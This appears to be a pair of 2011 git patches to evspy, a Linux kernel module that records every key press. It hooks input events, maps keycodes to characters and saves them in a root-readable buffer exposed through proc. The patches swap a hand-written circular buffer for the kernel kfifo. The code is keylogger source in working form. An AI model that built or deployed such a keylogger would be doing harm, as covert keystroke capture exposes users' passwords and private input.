From 28974e52f86f8873d47a899cbb2e5b122d62bfc1 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Sat, 29 Oct 2011 21:37:52 +0200 Subject: First version of cbuf.c and cbuf.h Switching to standard kfifo.h Linux circular buffer implementation --- evspy-core.c | 62 +++++++++++++----------------------------------------------- 1 file changed, 13 insertions(+), 49 deletions(-) (limited to 'evspy-core.c') diff --git a/evspy-core.c b/evspy-core.c index b33fd27..58625a2 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -21,14 +21,11 @@ */ #include "evspy-core.h" +#include "cbuf.h" -static char *buffer; // circular buffer -static char *rdp; // read pointer -static char *wrp; // write pointer static unsigned short int capslock_on = 0; static unsigned short int shift_on = 0; - #ifdef EVS_ALTGR_ENABLED static unsigned short int altgr_on = 0; #endif @@ -39,10 +36,7 @@ static unsigned short int altgr_on = 0; static int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) { - int n, toend; - int retval = 0; - int diff = wrp - rdp; - + int n; // root only plz if (current_uid() || current_euid()) { #if EVS_TROLL == 1 @@ -55,35 +49,7 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, #endif } - // wrp > rdp: read from rdp to wrp - if (diff > 0) { - n = min(diff, count); - strncpy(page, rdp, n); - rdp += n; - retval = n; - - // rdp > wrp: read from rdp to end of buffer and then from the beginning of - // the buffer to wrp - } else if (diff < 0) { - toend = (buffer + EVS_BUFSIZE) - rdp; - n = min(toend, count); - strncpy(page, rdp, n); - retval = n; - - if (n < toend) { - rdp += n; - } else { - n = min(wrp - buffer, count - retval); - strncpy(page + retval, buffer, n); - retval += n; - rdp = buffer + n; - } - } - - // wrp == rdp: buffer is empty - if (rdp == wrp) - *eof = 1; - return retval; + return cbuf_read(page, count, eof); } /* @@ -173,7 +139,7 @@ static void special_char(unsigned int code, unsigned int value) sp_tag[1] = '-'; while (*sp_tag) - evs_insert(*sp_tag++); + cbuf_write(*sp_tag++); } static void evspy_event(struct input_handle *handle, unsigned int type, @@ -183,10 +149,10 @@ static void evspy_event(struct input_handle *handle, unsigned int type, if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) { return; - // Backspace - } else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) { - evs_backspace(); - return; +// // Backspace +// } else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) { +// evs_backspace(); +// return; // Special/unknown keys (alt, ctrl, esc, shift, etc) } else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) { @@ -196,13 +162,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type, } else if (value == EVS_VAL_PRESS) { #ifdef EVS_ALTGR_ENABLED if (altgr_on) - evs_insert(evs_altgr(code)); + cbuf_write(evs_altgr(code)); else #endif if (shift_on || capslock_on) - evs_insert(evs_shift(code)); + cbuf_write(evs_shift(code)); else - evs_insert(map[code]); + cbuf_write(map[code]); } } @@ -266,15 +232,13 @@ static int __init evspy_init(void) #ifdef EVS_ALTGR_ENABLED init_altgrmap(); #endif - buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); - rdp = wrp = buffer; - return !buffer || input_register_handler(&evspy_handler); + cbuf_init(); + return input_register_handler(&evspy_handler); } static void __exit evspy_exit(void) { input_unregister_handler(&evspy_handler); - kfree(buffer); #ifdef EVS_ALTGR_ENABLED exit_altgrmap(); #endif -- cgit v1.2.3 From 4adbbb67edb76245992bd6dc35adfc5cdd61607a Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Sun, 30 Oct 2011 00:40:39 +0200 Subject: Deleted cbuf.[c,h] Circular buffer implementation moved back to evspy-core.c evspy-core.h renamed to evspy.h and added #ifdef's --- evspy-core.c | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) (limited to 'evspy-core.c') diff --git a/evspy-core.c b/evspy-core.c index 58625a2..0ce19ba 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -20,9 +20,11 @@ * along with evspy. If not, see . */ -#include "evspy-core.h" -#include "cbuf.h" +#include "evspy.h" + + +DECLARE_KFIFO(cbuffer, char, EVS_BUFSIZE); static unsigned short int capslock_on = 0; static unsigned short int shift_on = 0; @@ -47,9 +49,14 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, #else return -EPERM; #endif - } + } else { + n = kfifo_out(&cbuffer, page, count); - return cbuf_read(page, count, eof); + if (kfifo_is_empty(&cbuffer)) + *eof = 1; + + return n; + } } /* @@ -139,7 +146,7 @@ static void special_char(unsigned int code, unsigned int value) sp_tag[1] = '-'; while (*sp_tag) - cbuf_write(*sp_tag++); + evs_insert(&cbuffer, sp_tag++); } static void evspy_event(struct input_handle *handle, unsigned int type, @@ -162,13 +169,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type, } else if (value == EVS_VAL_PRESS) { #ifdef EVS_ALTGR_ENABLED if (altgr_on) - cbuf_write(evs_altgr(code)); + evs_insert(&cbuffer, evs_altgr(code)); else #endif if (shift_on || capslock_on) - cbuf_write(evs_shift(code)); + evs_insert(&cbuffer, evs_shift(code)); else - cbuf_write(map[code]); + evs_insert(&cbuffer, &map[code]); } } @@ -232,7 +239,8 @@ static int __init evspy_init(void) #ifdef EVS_ALTGR_ENABLED init_altgrmap(); #endif - cbuf_init(); + //cbuf_init(); + INIT_KFIFO(cbuffer); return input_register_handler(&evspy_handler); } -- cgit v1.2.3